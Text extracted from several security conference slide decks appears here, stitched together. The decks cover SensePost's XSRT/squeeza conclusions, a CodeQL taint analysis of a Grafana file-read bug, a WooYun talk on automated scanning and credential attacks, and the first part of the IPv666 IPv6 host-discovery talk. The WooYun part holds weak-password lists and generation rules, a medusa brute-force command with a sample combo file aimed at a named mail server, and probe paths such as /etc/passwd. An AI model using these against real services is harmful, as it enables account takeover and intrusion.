my box, I can run it in JavaScript on your box!) – A small time granularity problem! (No problem!) – timing.py => timing.js :) – Runs in your browser, Reports success to Attackers Machine (D) X.S.R.T Conclusion. • Developers: – Make sure you are not throwing away valuable intel through timing delta’s – Investigate the standard XSRF detection techniques • Network Security Admins: – Re-examine least privelege, Does your SQL Server need DNS? – Does your IDS detect spurious DNS requests? (to your own DNS Server?) – Would you spot the Timing Attacks in your logs? • Pen-Testers / Researchers: – XSS + Header Injection.. – Grab a copy of squeeza from http://www.sensepost.com/research/squeeza – Add modules / Drop us feedback • All: – Feedback – http://www.sensepost.com/blog Questions ???
pdf
⽤codeql分析grafana最新任意⽂件读取 ⽣成数据库 最近学了⼀下codeql,刚好拿这个来练⼀下⼿。简单记录⼀下,有疑问的师 傅可以⼀起探讨。 先从lgtm把数据库下下来,发现洞已经被修。 https://lgtm.com/projects/g/grafana/grafana/ci/#ql 只能⾃⼰编译了 codeql database create /Users/safe6/codeql/database/gf --language="go" --source-root=/Users/safe6/Desktop/grafana-8.2.6 --overwrite 编译好的库,有需要的师傅可以找我要。 开始分析 各位⼤佬都把sink分析好了,我们直接直接来找os.open的全部引⽤。 居然有50多个,我们先不管。也不知道能不能挖出新的洞 。 接来下开始找source。 进到关键类,可以看到有很多种接收⽅式。 查出来300多个api接⼝ 下⾯开始污点跟踪 定义source Sink isAdditionalTaintStep 尝试跑了⼀下并没有结果 于是找了三梦师傅,请教⼀下。 热⼼的三梦师傅,直接开撸。 经过三梦师傅,指点后,改造了⼀下source。 再次查询,这次有了结果。可是我们想要的并没有在⾥⾯ 回过头看看,发现这个api的路由⽤到了*,然后在具体⽅法⾥⾯⽤Params进 ⾏获取 那么我们需要继续加个isAdditionalTaintStep,把断掉的接上。 经过各种查资料发现赋值语句可以满⾜需求,赋值语句具体的Examples如下 最后写出来的isAdditionalTaintStep如下 再来看看结果,成功了!!!!! 最后 Codeql资料真挺少的,全靠官⽅⽂档续命。 最后还是要感谢三梦师傅,在我学习codeql给到的帮助。 代码放在:https://github.com/safe6Sec/codeql-grafana 正在整理的⼀点笔记https://github.com/safe6Sec/CodeqlNote
pdf
自动化攻击背景下的过去、现在与未来 @ringzero 2 关于我 • 网名:猪猪侠 • 8年信息安全从业经历 • 信息安全领域爱好者 • 安全测试 • 数据挖掘 • 微博:@ringzero 我的安全观:互联网的本质 3 互联网的本质就两个字:信息 信息只做一个用处就是:交换 我的安全观:互联网下信息安全的本质 4 互联网: 连接彼此,交换信息。 信息安全: 保护信息在交换(传递)过程 中的完整性、可用性、保密 性。 我的安全观:连接彼此 交换信息 与目标系统进行信息交换 可以发起交换的请求 耦合度高被攻击可能性越大 涟漪效应 信息传递的客体对象、社会信息背 后的属性,都和人有关 人们的愚蠢没有补丁可打 八大典型APT:越来越趋向针对个人 (最容易成功) 6 APT RSA SecurID 被窃 夜龙攻击 Stuxnet 震网 Google 极光攻击 Luckycat 攻击 Nitro攻击 Lurid 攻击 暗鼠攻击 诱骗员工点击 恶意链接附件 Web服务器 被作为跳板 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 军火级别 政治武器 DUQU FLAME • 利用已知漏洞寻找目标 • 重度依赖搜索引擎 • 工具交互模式固定不可扩展(多以Windows为主) • 流程化的利用模式 过去发起的攻击方式 7 回顾过去的攻击方式:三字经 8 进谷歌 找记录 没记录 就旁注 没旁注 猜目录 没目录 就嗅探 找后台 穷枚举 传小马 放大马 偷密码 挂页面 提权限 扫内网 • 模块化高可扩展(脚本Python) • 系统、服务、组件指纹标准化入库 • 高覆盖率(分布式全球节点) • 重新定义网络边界(Socks5代理、隧道) 现在 (脚本套脚本,一键完成) 9 1、深度扫描流程 11 WOOYUN 扫描目标 添加 自动分析 分解目标 深度信息 采集 指纹识别 入库 漏洞脚本库 队列执行 漏洞验证 返回结果 2、添加扫描任务 12 WOOYUN 2、添加扫描任务 (指定域名) 13 WOOYUN ① DNS 域传送漏洞 ② DNS 二级域名穷举 ③ GOOGLE 搜索域名 ① 域名IP C段加入队列 ② MX记录C段加入队列 ③ 爱站反查已添加的IP 开始扫描任务 3、信息收集(IP 信息) 14 WOOYUN 3、信息收集(服务端口指纹信息) 15 WOOYUN 爬取首页,记录HTTP头 3、信息收集(域名信息 通过爱站、BING反查域名 入库) 16 WEB指纹识别 4、WEB指纹识别条件库 17 4、WEB指纹识别 返回网页内容中是否包含特定 HTTP头 18 4、WEB指纹识别 文件MD5对比 存在特定文件?) 19 5、WEB漏洞库管理模块 20 6、WEB漏洞测试方法 正则匹配特定变量 21 7、脚本管理 定义好传入参数 URL & IP:端口) 22 7、深度扫描(为漏洞扫描脚本 分配目标 填充参数) 23 7、深度扫描(脚本依据SQL条件分配扫描参数) 24 8、指纹识别入库、扫描结果入库 25 WOOYUN 添加目标 自动分解 自动采集 自动入库 队列下发 等待结果 未来可强化的地方 26 信息收集效率(更丰富的收集规则) 资源整合能力(第三方数据整合) 覆盖率 误报率 漏洞规则库(更多的漏洞模块化) 信息收集效率 (1467项 Google Hacking Database) 27 GHDB Files containing juicy info ( 225 ) Web Server Detection ( 75 ) Error Messages ( 67 ) Files containing usernames ( 14 ) Files containing passwords ( 138 ) Sensitive Directories ( 60 ) Vulnerable Servers ( 48 ) Footholds ( 21 ) Advisories and Vulnerabilities ( 223 ) Miscellaneous ( 12 ) Pages containing network or vulnerability data ( 60 ) Pages containing login portals ( 233 ) Various Online Devices ( 195 ) Sensitive Online Shopping Info ( 9 ) Vulnerable Files ( 56 ) Technology profile ( 32 ) 漏洞规则库(330个通用漏洞利用脚本) 28 Apache Geronimo Default Administrative Credentials.script Pending Apache httpOnly Cookie Disclosure.script Pending Apache mod negotiation Filename Bruteforcing.script Pending Apache Proxy CONNECT Enabled.script Pending Apache Roller Audit.script Pending Apache Running As Proxy.script Pending Apache Server Information.script Pending Apache Solr Exposed.script Pending Apache Unfiltered Expect Header Injection.script Pending Apache XSS via Malformed Method.script Pending ASP NET Error Message.script Pending ASP NET Forms Authentication Bypass.script Pending ASP NET Oracle Padding.script Pending Clickjacking X Frame Options.script Pending ClientAccessPolicy XML.script Pending ColdFusion Audit.script Pending ColdFusion User Agent XSS.script Pending ColdFusion v8 File Upload.script Pending ColdFusion v9 Solr Exposed.script Pending Crossdomain XML.script Pending Django Admin Weak Password.script Pending elasticsearch Audit.script Pending elmah Information Disclosure.script Pending Error Page Path Disclosure.script Pending Fantastico Filelist.script Pending 漏洞规则库(330个通用漏洞利用脚本) 29 Flask Debug Mode.script Pending Frontpage authors pwd.script Pending Frontpage Extensions Enabled.script Pending Frontpage Information.script Pending GlassFish Audit.script Pending Heartbleed Bug.script Pending Horde IMP Webmail Exploit.script Pending IIS Global Asa.script Pending IIS Internal IP Address.script Pending IIS service cnf.script Pending IIS Unicode Directory Traversal.script Pending IIS v5 NTML Basic Auth Bypass.script Pending Ioncube Loader Wizard.script Pending JBoss Audit.script Pending Jenkins Audit.script Pending lighttpd v1434 Sql Injection.script Pending Lotus Domino crlf xss.script Pending MongoDB Audit.script Pending Movable Type 4 RCE.script Pending ms12-050.script Pending Nginx PHP FastCGI Code Execution File Upload.script Pending Options Server Method.script Pending Oracle Reports Audit.script Pending Flask Debug Mode.script Pending Frontpage authors pwd.script Pending 漏洞规则库(330个通用漏洞利用脚本) 30 PHP CGI RCE Force Redirect.script Pending PHP Hash Collision Denial Of Service.script Pending Plesk Agent SQL Injection.script Pending Plesk SSO XXE.script Pending Plone&Zope Remote Command Execution.script Pending Rails XML YAML.script Pending Reverse Proxy Bypass.script Pending RubyOnRails Database File.script Pending Same Site Scripting.script Pending SSL Audit.script Pending Tomcat Audit.script Pending Tomcat Default Credentials.script Pending Tomcat Examples.script Pending Tomcat Hello JSP XSS.script Pending Tomcat Status Page.script Pending Track Trace Server Methods.script Pending Umbraco CMS Remote Code Execution.script Pending Unprotected phpMyAdmin Interface.script Pending Version Check.script Pending VirtualHost Audit.script Pending VMWare Directory Traversal.script Pending WAF Detection.script Pending WebInfWebXML Audit.script Pending WEBrick Directory Traversal.script Pending Web Server Default Welcome Page.script Pending 扫描成本 31 10台机器 2核心 4GB内存 5M 带宽 7 天一个 A 段 255 * 7 = 1785 / 30 = 60 个月 10台 * 60个月 * 270/月 = 162000 RMB 当摩尔定律成为灾难 32 个人超算 GPU 廉价的云计算 僵尸网络—肉鸡 一些用心优化的细节 (成功率提升匪夷所思) 33 用户常用口令设置规则 常用特定URL目录字典库积累 等等…… 互联网泄密事件 10亿多条明文密码 34 3175万 1828万 1833万 1389万 907万 828万 642万 444万 15000万 10000万 4200万 60000万 WeakPassword Top 100 (中国特色) 35 1 123456 16 1234 31 qwertyuiop 46 abc123 61 asdasd 76 qwe123 2 123456789 17 1314520 32 woaini 47 100200 62 741852963 77 456123 3 111111 18 wetrsvqw1e123 33 password 48 1111111111 63 iloveyou 78 aaaaaaaa 4 123123 19 123123123 34 00000000 49 123qwe 64 asdfgh 79 111111111 5 000000 20 654321 35 88888888 50 qq123456 65 123456789a 80 asd123 6 12345678 21 147258369 36 asdfghjkl 51 123456789 66 555555 81 0000000000 7 1234567890 22 zxcvbnm 37 520520 52 7758258 67 1qaz2wsx 82 456789 8 5201314 23 888888 38 12345 53 110110 68 1314521 83 abc123456 9 1234567 24 7758521 39 147258 54 159357 69 521521 84 163.com 10 123321 25 123 40 5211314 55 222222 70 12345678910 85 333333 11 a123456 26 112233 41 qwerty 56 789456 71 123654789 86 q123456 12 11111111 27 aaaaaa 42 1111111 57 qazwsx 72 qqqqqq 87 201314 13 12341234 28 123456a 43 789456123 58 0123456789 73 woaini1314 88 qazwsxedc 14 666666 29 123654 44 121212 59 159753 74 1111 89 5651468 15 33333333 30 987654321 45 a123456789 60 999999 75 111222 90 密码统计 ( TOP 100 密码使用数量统计 ) 36 总排行 CSDN 天涯 口令 数量 口令 数量 口令 数量 123456 42611564 123456789 470024 123456 2456830 123456789 18851830 12345678 425498 111111 615054 111111 7280186 11111111 152692 000000 379674 123123 4313441 dearbook 92106 123456789 367162 000000 4108195 00000000 69904 123123 218826 12345678 3034275 123123123 39972 123321 124066 1234567890 2906462 1234567890 35580 5201314 117100 5201314 2593208 88888888 30066 12345678 113562 1234567 1825729 111111111 13990 666666 104840 123321 1727649 147258369 11930 111222tianya 97720 a123456 1453619 987654321 11106 888888 96958 11111111 1420335 aaaaaaaa 10918 1234567 86384 12341234 1224240 1111111111 10290 654321 81724 666666 1217674 66666666 10050 121212 70782 33333333 1203929 a123456789 8870 789456 59442 1234 1120645 11223344 8192 111222 58684 1314520 1108547 1qaz2wsx 7334 woaini 57888 wetrsvqw1e123 1000000 xiazhili 7298 112233 55400 123123123 994414 789456123 7220 1314520 53262 654321 960467 password 7002 7758521 51322 147258369 957382 87654321 6562 0 50748 zxcvbnm 935342 qqqqqqqq 6554 88888888 48484 888888 919415 000000000 6350 11111111 47726 高频碰撞 (密码习惯概率统计) 37 总排行 CSDN 天涯 数量 比例 数量 比例 数量 比例 用户 1034581123 6428632 32000000 使用纯数字口令 375583887 36.30% 2893401 45.01% 20000000 62.05% 使用小写字母口令数 43269695 4.18% 748554 11.64% 3063972 9.65% 使用大写字母口令数 3947455 0.38% 30396 0.47% 55492 0.17% 用户名和密码相同数 24473252 2.36% 292662 4.55% 323500 1.02% 密码包含一部分用户名口令数 34089254 3.29% 188873 2.94% 574123 1.81% 用户名加一些字符作为口令 13668200 1.32% 129390 2.01% 1010928 3.18% TOP100 口令数 174003138 16.81% 1704944 26.52% 7106500 22.37% 口令中含有特殊字符用户 74910293 7.24% 237675 3.70% 1448057 4.56% 密码研究 (使用频率最高的密码设置方式) 38 生日生成组合(19880808) 年份列表(1987,1988,1989) 姓名组合+网络昵称+亲人姓名+生日 1337模式替换(r1n9z3r0) 常用密码链接字符 .!@#&*(wy@123) 排列组合叠字 aaa,bbb,123,!@# 常用键盘布局(qwerty) 公司相关信息 域名+简称(wy@360buy) 大小写变换,根据元音或字母开头 频率最高的密码设置方式 39 Username+生日 Username@特定字符 Username@生日 中文名拼音+生日 中文名拼音@生日 中文名拼音@特定字符 Domain@特定字符 Username@Domain Username@Domain特定字符 键盘固定顺序 1234qwer ! . 222 666. 777. ZXC !! .. 123. 777 888 a !!! ... 123.com 321. 888. aa !@# 000 163.com 333 8888 aaa !@#$ 000. qq.com 333. 88888 ab !QAZ 1 123123 444 888888 abc # 1. 1234 444. 88888888 abcd ## 110 12345 520 999 asd ### 110. 1234. 520. 999. bb $ 111 123456 5201314 @ cc $$ 111. 123456789 521 @@ qaz % 1122 1314 521. @@@ qwe %% 1122. 1314. 555 ASD sb & 119 163 555. Aa && 119. 163. 666 x * 12 1qaz Ab xx ** 12. 222. Abc xxx *** 123 321 QWE zxc 密码生成规则实现 40 wooyun@123. wooyun.123. wooyun#123. wooyun!123. 特殊字符表 规则实现实例 41 Name=朱镕基 zhurj@123 zhurj!@# zrj@123 zrj!@# Zhurj@123 Zhurj!@# Zrj@123 Zrj!@# wooyun@123 wooyun!@# zone@123 zone!@# Wooyun@123 Wooyun!@# Zone@123 Zone!@# 处理生日 9月9日 wuyun@99(无前导0) wuyun@0909(有前导0) wuyun@140909 wuyun@20140909 wuyun@1499 wuyun@201499 开放数据API (支持多种条件查询语句) 42 大公司诟病系列#1 重置京东任意用户密码 http://www.wooyun.org/bugs/wooyun-2010-041105 开放数据API接口 (返回数据给扫描器动态调用) 43 字段名 备注 id 主索引ID username 用户名 realname 真实名字 gender 性别 email 邮箱 email_ext 邮箱后缀 password 密码 salt 盐 password_ext 扩展密码 lastloginip 最后登录IP regip 注册IP regdate 注册时间 mobile 联系电话 telephone 联系座机 qq QQ号码 msn MSN名称 sina_uid 新浪微博ID sina_nickname 新浪微博名称 birthday 生日 idcard 身份证明信息 website 个人主页博客 alipay 支付宝信息 address 联系地址 zipcode 邮编 company 公司名称 education 学校信息 source 数据来源 remark 其他备注 众测刷钱的一个方法 (兼容性 减少开发成本) 44 # medusa -h mail.mogujie.com -C mogujie.csv -M pop3 ? mogujie.csv (File containing combo entries) host:username:password mail.mogujie.com:taozi:zhuzhu123 mail.mogujie.com:taozi:zhuzhu!@# Medusa 支持协议 cvs, ftp, http, imap, mssql, mysql, ncp, nntp, pcanywhere, pop3, postgres, rexec, rlogin, rsh, smbnt, smtp-vrfy, smtp, snmp, ssh, svn, telnet, vmauthd, vnc, web-form, wrapper 任 务 切 割 后 下 发 至 扫 描 节 点 上 用户+邮箱+密码泄露 会导致网络边界被突破 45 互联网公司 SSO VPN Mail 门户 博客 企业应用 针对性穷举 密码 用户 邮箱 阿里巴巴:由于员工安全意识培训不足, 内网账号写死在配置文件中,并上传在github,可匿名访问 中石油: 内部文档被员工上 传到百度文库。 且文档中包含公司 的VPN服务器地址 和密码设置规则。 阿里、中石油、优酷、土豆内网边界被突破 46 敏感信息泄露检测 (备份文件、临时文件、压缩包) 47 '/wp-config.php','/configuration.php','/sites/default/settings.php','/config.php', '/config.inc.php','/conf/_basic_config.php','/config/site.php',……… phpext = [‘~’,‘_bak’,‘.bak’,‘_1’,‘1’,‘.1’,‘.swp’, ‘2013’, ‘2014’……] (编辑备份文件) paths = ['/','/bbs','/bbs1','/cms','/blog','/forum','/backup','/bak', '/include','/lib‘…..] ['wwwroot','www','web','ww','w','website','backup','back','data','site','http','admin‘, match = re.search(‘^\d+\.\d+\.\d+\.\d+$’,domain) (网页源码包) ['.rar','.zip','.tar','.tar.gz','.sql','.bak',''.sql.gz','.sql.tar','.sql.tar.gz','.sql.zip','.sql.rar'] /Windows短文件名检测 /.bash_history /etc/passwd /phpinfo.php /phpMyAdmin /xmapp /console/ /manager/html /admin 2800多个常用URL信息泄露目录+文件 一个良好的URL规则库,能使 安全测试过程事半功倍。 • 永不停转的AGENT • 无处不在的边界 • 实时性更强 • 针对性更高 智能处理信息:未来 48 浏览器代理、插件 获取网页中的URL资源 49 浏览器插件 移动客户端代理、VPN捕获浏览,分离URL资源 50 永不停转的AGENT:分析流量,添加到扫描队列 51 www.burpcloud.com 将于近期在乌云集市上架 永不停转的AGENT:漏洞结果 (QQ.COM) 52 永不停转的AGENT:漏洞结果 (BAIDU.COM) 53 永不停转的AGENT:漏洞结果 (WEIBO.COM) 54 永不停转的AGENT:阿里云 ACE 控制台 55 云计算、大数据时代下的安全现状 • 互联网根基在动摇 • 信息泄露比想象中要严重 57 互联网根基在动摇:DNS 安全难以保障 2009 年 01 月08 日 Discuz & PHPWind 第三方接口问题 DNS 被劫持 58 互联网根基在动摇:最安全的DNS解析服务 世界上有三种人: ① 被黑过 ② 不知道自己被黑过 ③ 不承认自己被黑过 59 互联网根基在动摇:基础运营商比想象中脆弱 自带DNS劫持 60 互联网根基在动摇:某通信运营商历史短信查询 帮用户发短信 61 互联网根基在动摇:你的身份证已经不再是秘密 62 信息泄露比你想象得要严重得多!(不止10亿那么简单) 用户数据泄露一直是如今互联网世界的一个焦点,不 重视或者遗忘这个教训将给各大互联网公司、企业未 来的安全造成严重的威胁, 服务商和黑客之间在用户 数据这个舞台上将一直进行一场旷日持久的攻防战。 ¥9999.00 RMB 订单编号不慎泄露 63 你所不知的信息泄露:案例 ( 王思聪 微博、ICloud被黑) 64 你所不知的信息泄露:某团 65 你所不知的信息泄露:某大众团 66 用户使用的互联网服务越多,代表着泄露的信息也会越多 安全问题将不在于黑客攻击你的电脑或移动设备拿 到你的信息,很有可能只需要把某个互联网公司的 服务器攻破,就可以得到上亿人的隐私信息数据。 越来越多的移动设备, 无时无刻不在工作,随时随地的连接网络 67 我们面对的对手都是 信息挖掘 资源整合 高手 他们只要赢一次,我们就永远输了。 68 结束 Q & A
pdf
IPv666 Address of the Beast Chris Grayson @_lavalamp Marc Newlin @marcnewlin CHRIS MARC MY NAME IS IT’S THE FUTURE BAYBEEEEEE Where to From Here Cap’n? ●  Background ●  The Scanning Problem ●  Honeypotting for PSLAAC ●  Modeling for non-PSLAAC ●  Being Less Dumb ●  To The Cloud ●  Results ●  IPv666 ●  Conclusion A Bit o’ Background IPv6 - So Hot Right Now A Tale of Gateways and Set Top Boxes ●  DEFCON 25 ●  26 CVEs ●  All in consumer premise equipment (CPE) ●  Ie: Comcast gateways and set top boxes ●  IPv6 was a big part ●  https://github.com/BastilleResearch/CableTap Send-to-TV / Remote Web UI ●  Gateway web UI accepts remote requests from ISP infrastructure ●  IPv6 address of target gateway provides remote web UI access via set-top box Seems Kinda Spooky ●  IPv6 works out of the box without manual configuration ●  All your devices and networking equipment prefer it ●  There’s no such thing as private address space (for the most part) ●  Your IPv4 firewall rules don’t apply ●  ICMPv6 is a critical protocol ●  Single packets can be relayed to lots and lots of hosts Let’s Go Hunting The Problem of Scale ●  IPv4 32 bit addresses 2^32 possible addresses 4,294,967,296 addresses ●  IPv6 128 bit 2^128 possible addresses 340,282,366,920,938,463,463,374,607,431,768,211,456 addresses PSLAAC Makes Things Harder ●  Addresses have host and network bits ●  Network is site prefix and subnet ID ●  Host is interface ID ●  PSLAAC means interface ID is pseudorandom ●  Even “small” networks (/96) have 32 bits of randomness Breaking Down the Problem ●  Modeling for cryptographic entropy is no bueno ●  Two independent problems instead ○  Identifying PSLAAC hosts ○  Identifying non-PSLAAC hosts Honeypotting for PSLAAC Why Honeypotting? ●  Search space too massive ●  Instead of finding them, have them find us ●  Took multiple approaches ○  DNS Server ○  SMTP Server ○  Web Server ●  Popads! Honey DNS Server ●  Set up Bind server ●  Glue records point to IPv6 ●  Zones delegated to IPv4 then IPv6 ●  Post links all over social media ●  Popads! A Quick Note on PopAds Honey Web Server ●  Set up best site ever at http://ipv6.exposed/ ●  Available over IPv6, some other shenanigans for forcing IPv6 ●  WebRTC for IP address enumeration ●  Post all over social media ●  Popads! Honey Web Server (cont’d) Honey SMTP Server ●  Set up SMTP server ●  Have our DNS honeypot point to it ●  Sign up for ALL THE THINGS ●  Use MailBait to sign up for spam ●  Mega womp womp Sweet(?) Honey Results ●  92,609 unique IP addresses over ~10 months ●  Cost $500+ ●  Lost focus, but still suboptimal AND THEN... Lol... Modeling for Non-PSLAAC Structure in IPv6 Addresses 2001:1284:f01c:2c0a:8238:bcff:fed3:4e03 2001:1498:1::32:48 2001:16b8:101:3175:a96:d7ff:fe7e:c4aa 2001:16b8:6100:0:3631:c4ff:fe14:3d72 2001:1890:1f8:46::1:6 2001:1bc8:1004::2:0:99 2001:260:450:7b::4 2001:41d0:2:275b::182 2001:41d0:2:3d77:: 2001:4998:44:6027::2005 2001:4b78:2::f06b 2001:558:370:ba::1 2001:579:6f03:600:c0b3:b230:5c3:df35 2001:610:1a0:30::2 2001:638:708:30da:ea11:32ff:fe70:8ae6 2001:8d8:921:c500::70:18e1 2001:980:6972::1 2001:bc8:2800:36dd:87f9:1ef0:8a7a:c21f 2001:e42:102:1819:160:16:234:111 2001:ee0:4041:37a5:8acf:98ff:fee7:fec 2001:ee0:4140::1230:2502:7004 2001:ee0:4501:5062:1894:5a03:9cc3:216f 2001:ee0:5500:8b5a:585d:c41a:7a09:f73a 2003:0:2e02:1050::1 2003:5a:4049::1 2400:6180:100:d0::34:8001 2400:8500:1302:803:133:130:127:180 2400:b800:1:1::18 2400:cb00:2048:1::6810:7166 2400:cb00:2048:1::6818:d3a 2404:6800:4007:801::2003 2406:da00:ff00::1715:7892 2406:e00:120:391c:0:30:ab4:4f40 2407:500::2:5a9:b7bf 2600:0:2:1239:144:232:2:85 2600:3c00::f03c:91ff:feae:ee1c 2600:3c00::f03c:91ff:fedf:426 2600:3c03::f03c:91ff:fe79:e1a4 2600:3c03::f03c:91ff:fea1:4761 2600:3c03::f03c:91ff:fea2:42c7 2603:3006:103c:b000::17f6 2604:2d80:4030:0:91c2:c016:2329:7219 2605:de00:1:1:4a:32:0:23 2606:b400:8808:f000::a022:fa6d 2620:11:0:c2b4:749a:46bf:291:38cf 2620:8d:0:7f47::d827:7f47 2800:370:2:418a:b8d3:ddc8:13a8:8768 2800:370:2:972d:dd4a:a203:9d92:3353 2800:370:44:256d:5950:afb3:7627:10f4 2800:370:55:3c60:404a:d212:49dd:4477 2800:370:55:b9c6:70b1:9c61:69e:2b02 2800:370:61:11dc:e57f:1804:a456:eddc 2800:370:84:0:d0bd:6968:d1ae:d26f 2800:370:84:bba1:857c:f02d:cd6c:cd51 2800:370:a:ae43:79b9:348b:3c0:8c7b 2800:4f0:1:ecd5:dd66:8006:1203:be04 2800:4f0:62:850c:92d:85a1:3431:a7b8 2803:c300::2 2804:14d:1a87:0:7815:7414:e01:dd02 2804:14d:8e8c:1000:b42f:9577:7fbb:778b 2804:292c:1::5 2804:a8:2:c8::12a 2806:102e:9:5055:272:63ff:fe83:e620 2806:108e:c:2e3:7279:90ff:fe9c:2a07 2a00:d0c0:200:0:b9:1a:9c36:20c 2a01:488:42:1000:50ed:8479:33:339a 2a01:488:42:1000:50ed:84f5:1c:ff1f 2a01:5a60:3::92 2a01:7c8:d002:1c::1 2a01:a8:dc0:330:1::1c5d 2a02:2028:80c:e900::1 2a02:26f0:df:202:e3cc:80db:ebaa:3e93 2a02:6b8:0:161b:ec4:7aff:fe18:c48 2a02:6b8:b000:63a:96de:80ff:fe81:1258 2a02:6b8:b000:6509:215:b2ff:fea9:66fa 2a02:8108:0:12:587b:b48e:e629:436b 2a02:8108:8000:21:2864:5009:d4d2:36f0 2a02:810d:8000:29:e8b0:6937:7ddd:e597 MACHINE LEARNING BAYBEEEE ●  Model is a compact representation of data set ●  Projection through model creates new data set with error % ●  Errors are representative of structure in IPv6 addresses ●  Hopefully find new addresses lol jk ●  All attempts resulted in over- fitting ●  Projected addresses were the same as our input addresses ●  We’re not ML experts sooooo…. The Entropy/IP Paper ●  http://www.entropy-ip.com/ ●  Really interesting paper from Akamai ●  Maps entropy of different segments of IPv6 addresses ●  Big takeaways: ○  Not THAT much entropy in non-PSLAAC IPs ○  Simpler modeling might work better Dumbing Things Down (Modeling) 2800:4f0:80:f662:880b:6c2f:cf59:662b 0x2, 0x8, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, ... Break down into 32 nybbles Count occurences by position and nybble ... Dumbing Things Down (Prediction) 0x2 Position 0 probabilities[0][0x2] p(0x0) => 0.05 p(0x1) => 0.05 p(0x2) => 0.01 p(0x3) => 0.09 p(0x4) => 0.00 p(0x5) => 0.15 p(0x6) => 0.05 p(0x7) => 0.09 p(0x8) => 0.00 p(0x9) => 0.06 p(0xa) => 0.15 p(0xb) => 0.09 p(0xc) => 0.06 p(0xd) => 0.10 p(0xe) => 0.03 p(0xf) => 0.02 0xa Position 1 Looks Promising… TOO PROMISING ●  Generated 10mm addresses ●  After scanning, over 50k responded to ICMP probes ●  WOW WE TOTES SOLVED THE PROBLEM!!! ZOMG CELEBRATION TIME!!!! Enter Aliased (ie: Jerk) Networks ●  Network ranges where every IP address responds to ICMP pings ●  Why?? Because they’re jerks ●  Not great for scanning ●  Even worse for statistical modeling Identifying Aliased Networks (Initial) 2800:4f0:80:f662:880b:6c2f:cf59:662b Wrap in /96 network 2800:4f0:80:f662:880b:6c2f:cf59:662b/96 Generate eight addresses in network 2800:4f0:80:f662:880b:6c2f:fed3:4e03 2800:4f0:80:f662:880b:6c2f:eb83:9376 2800:4f0:80:f662:880b:6c2f:8924:f2f6 2800:4f0:80:f662:880b:6c2f:7949:7d8e 2800:4f0:80:f662:880b:6c2f:5676:f7bb 2800:4f0:80:f662:880b:6c2f:a286:ad59 2800:4f0:80:f662:880b:6c2f:bb7d:6d0a 2800:4f0:80:f662:880b:6c2f:8e3e:4fd4 ICMP scan If 50% of addresses respond, net is aliased 2800:4f0:80:f662:880b:6c2f:cf59:662b/96 Identifying Aliased Networks (Network Size) 2800:4f0:80:f662:880b:6c2f:cf59:662b Map to bits 0010100000000000:0000010011110000:0000000010000000:1111011001100010:1000100000001011:0110110000101111:1100111101011001:0110011000101011 Aliased Unknown Flip right half of unknown bits 0010100000000000:0000010011110000:0000000010000000:0000100110011101:0111011111110100:1001001111010000:1100111101011001:0110011000101011 ICMP scan ... Identifying Aliased Networks (Network Size cont’d) ICMP scan Flipped bits are aliased, left bits are unknown Response received No response received Left bits are not aliased, flipped bits are unknown Rinse and repeat 0010100000000000:0000010011110000:0000000010000000:1111011001100010:1000100000001011:0110110000101111:1100111101011001:0110011000101011 Aliased Unknown Not Aliased 0010100000000000:0000010011110000:0000000010000000:1111011001100010:1000100000001011:0110110000101111:1100111101011001:0110011000101011 Aliased Unknown Getting Less Dumber 6gen ●  Published in 2017 out of UC Berkeley ●  Improves upon the Entropy/ IP paper with a new clustering algorithm IPv6 Address Clusters ●  An IPv6 address cluster is defined as an IP address and a set of wild card nybble indices ●  A cluster’s utility is based on its… ○  Capacity - How many possible addresses are in the cluster? ○  Density - How many of the cluster’s IPs are in the input data set? IPv6 Address Clusters (Example) 2800:4f0:80:f662:880b:6c2f:cf59:662b 0x2, 0x8, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, ... 0x2, 0x2, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, ... 0x2, ???, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, ... Capacity 16 Captured 2 Density 12.5% IPv6 Address Clusters (Example) 0x2, ???, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x0, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x1, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x2, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x3, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x4, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x5, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x6, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x7, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x8, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0x9, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xa, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xb, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xc, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xd, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xe, 0x0, 0x0, 0x0, 0x4, 0xf, 0x0, 0x0, 0x0, 0x8, 0x0, 0xf, 0x6, … 0x2, 0xf, 0x0, 